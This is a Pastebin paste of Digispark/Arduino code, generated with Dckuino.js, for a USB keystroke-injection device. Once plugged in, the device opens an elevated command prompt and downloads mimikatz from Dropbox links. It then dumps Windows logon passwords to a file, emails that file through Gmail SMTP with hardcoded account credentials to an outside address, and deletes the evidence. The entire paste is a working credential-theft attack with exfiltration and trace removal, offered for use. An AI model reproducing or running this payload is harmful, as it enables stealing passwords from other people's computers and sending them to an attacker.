Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * Generated with <3 by Dckuino.js, an open source project !
- */
- #include <avr/pgmspace.h>
- #include "DigiKeyboard.h"
- const char line1[] PROGMEM = "cmd";
- const char line2[] PROGMEM = "powershell if ([System.IntPtr]::Size -eq 4) { (new-object System.Net.WebClient).DownloadFile('https://www.dropbox.com/s/brlbuz6iqdq824o/mimikatz32.exe?dl=1','%TEMP%\\pw.exe'); }else{ (new-object System.Net.WebClient).DownloadFile('https://www.dropbox.com/";
- const char line3[] PROGMEM = "s/3lytqt42b39rauf/mimikatz64.exe?dl=1','%TEMP%\\pw.exe');}";
- const char line4[] PROGMEM = "%TEMP%\\pw.exe > c:\\pwlog.txt & type pwlog.txt;";
- const char line5[] PROGMEM = "privilege::debug";
- const char line6[] PROGMEM = "sekurlsa::logonPasswords full";
- const char line7[] PROGMEM = "exit";
- const char line8[] PROGMEM = "del %TEMP%\\pw.exe";
- const char line9[] PROGMEM = "powershell";
- const char line10[] PROGMEM = "$SMTPServer = 'smtp.gmail.com'";
- const char line11[] PROGMEM = "$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)";
- const char line12[] PROGMEM = "$SMTPInfo.EnableSsl = $true";
- const char line13[] PROGMEM = "$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('theoneandonlymrcharles', 'Inception');";
- const char line14[] PROGMEM = "$ReportEmail = New-Object System.Net.Mail.MailMessage";
- const char line15[] PROGMEM = "$ReportEmail.From = 'theoneandonlymrcharles@gmail.com'";
- const char line16[] PROGMEM = "$ReportEmail.To.Add('alphaone150@gmail.com')";
- const char line17[] PROGMEM = "$ReportEmail.Subject = 'Duck Report'";
- const char line18[] PROGMEM = "$ReportEmail.Body = 'Attached is your duck report.'";
- const char line19[] PROGMEM = "$ReportEmail.Attachments.Add('c:\\pwlog.txt')";
- const char line20[] PROGMEM = "$SMTPInfo.Send($ReportEmail)";
- const char line21[] PROGMEM = "exit";
- const char line22[] PROGMEM = "del c:\\pwlog.txt";
- const char line23[] PROGMEM = "exit";
- char buffer[256];
- #define GetPsz(x) (strncpy_P(buffer, (char*)x, 256))
- #define KEY_UP_ARROW 0x52
- #define KEY_DOWN_ARROW 0x51
- #define KEY_LEFT_ARROW 0x50
- #define KEY_RIGHT_ARROW 0x4F
- #define KEY_LEFT_GUI 0xE3
- #define KEY_ESC 0x29
- #define KEY_TAB 0x2B
- void digiBegin() {
- DigiKeyboard.sendKeyStroke(0,0);
- DigiKeyboard.delay(50);
- }
- void digiEnd() {
- const int led=1;
- pinMode(led, OUTPUT);
- while (1) {
- digitalWrite(led, !digitalRead(led));
- DigiKeyboard.delay(1000);
- }
- }
- void printText(char *txt) {
- DigiKeyboard.print(txt);
- DigiKeyboard.update();
- }
- void setup() {
- digiBegin();
- // Author: Pesce
- // Date: 10/20/2013
- // Note: Thanks to all the help everyone! This is my first attempt, don't be to upset!
- // -------------open command prompt with admin privileges
- DigiKeyboard.delay(3000);
- DigiKeyboard.sendKeyStroke(KEY_ESC,MOD_CONTROL_LEFT);
- DigiKeyboard.delay(1000);
- // cmd
- printText(GetPsz(line1));
- DigiKeyboard.delay(1000);
- DigiKeyboard.sendKeyStroke(KEY_ENTER,MOD_CONTROL_LEFT|MOD_SHIFT_LEFT);
- DigiKeyboard.delay(1000);
- DigiKeyboard.sendKeyStroke(KEY_Y,MOD_ALT_LEFT);
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- DigiKeyboard.delay(300);
- // -------------download appropriate mimikatz for architecture
- // powershell if ([System.IntPtr]::Size -eq 4) { (new-object System.Net.WebClient).DownloadFile('https://www.dropbox.com/s/brlbuz6iqdq824o/mimikatz32.exe?dl=0','%TEMP%\\pw.exe'); }else{ (new-object System.Net.WebClient).DownloadFile('https://www.dropbox.com/
- printText(GetPsz(line2));
- // s/3lytqt42b39rauf/mimikatz64.exe?dl=0','%TEMP%\\pw.exe');}
- printText(GetPsz(line3));
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- DigiKeyboard.delay(5000);
- // -------------get the passwords and save to c:\pwlog.txt
- // %TEMP%\\pw.exe > c:\\pwlog.txt & type pwlog.txt;
- printText(GetPsz(line4));
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- DigiKeyboard.delay(2000);
- // privilege::debug
- printText(GetPsz(line5));
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- DigiKeyboard.delay(1000);
- // sekurlsa::logonPasswords full
- printText(GetPsz(line6));
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- DigiKeyboard.delay(1000);
- // exit
- printText(GetPsz(line7));
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- DigiKeyboard.delay(300);
- // del %TEMP%\\pw.exe
- printText(GetPsz(line8));
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- DigiKeyboard.delay(300);
- // -------------email log via gmail
- // powershell
- printText(GetPsz(line9));
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- DigiKeyboard.delay(300);
- // $SMTPServer = 'smtp.gmail.com'
- printText(GetPsz(line10));
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- // $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
- printText(GetPsz(line11));
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- // $SMTPInfo.EnableSsl = $true
- printText(GetPsz(line12));
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- // $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('theoneandonlymrcharles', 'Inception');
- printText(GetPsz(line13));
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- // $ReportEmail = New-Object System.Net.Mail.MailMessage
- printText(GetPsz(line14));
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- // $ReportEmail.From = 'theoneandonlymrcharles@gmail.com'
- printText(GetPsz(line15));
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- // $ReportEmail.To.Add('alphaone150@gmail.com')
- printText(GetPsz(line16));
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- // $ReportEmail.Subject = 'Duck Report'
- printText(GetPsz(line17));
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- // $ReportEmail.Body = 'Attached is your duck report.'
- printText(GetPsz(line18));
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- // $ReportEmail.Attachments.Add('c:\\pwlog.txt')
- printText(GetPsz(line19));
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- // $SMTPInfo.Send($ReportEmail)
- printText(GetPsz(line20));
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- DigiKeyboard.delay(1000);
- // exit
- printText(GetPsz(line21));
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- // ---------------------delete and end
- // del c:\\pwlog.txt
- printText(GetPsz(line22));
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- DigiKeyboard.delay(300);
- // exit
- printText(GetPsz(line23));
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- digiEnd();
- }
- /* Unused endless loop */
- void loop() {}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement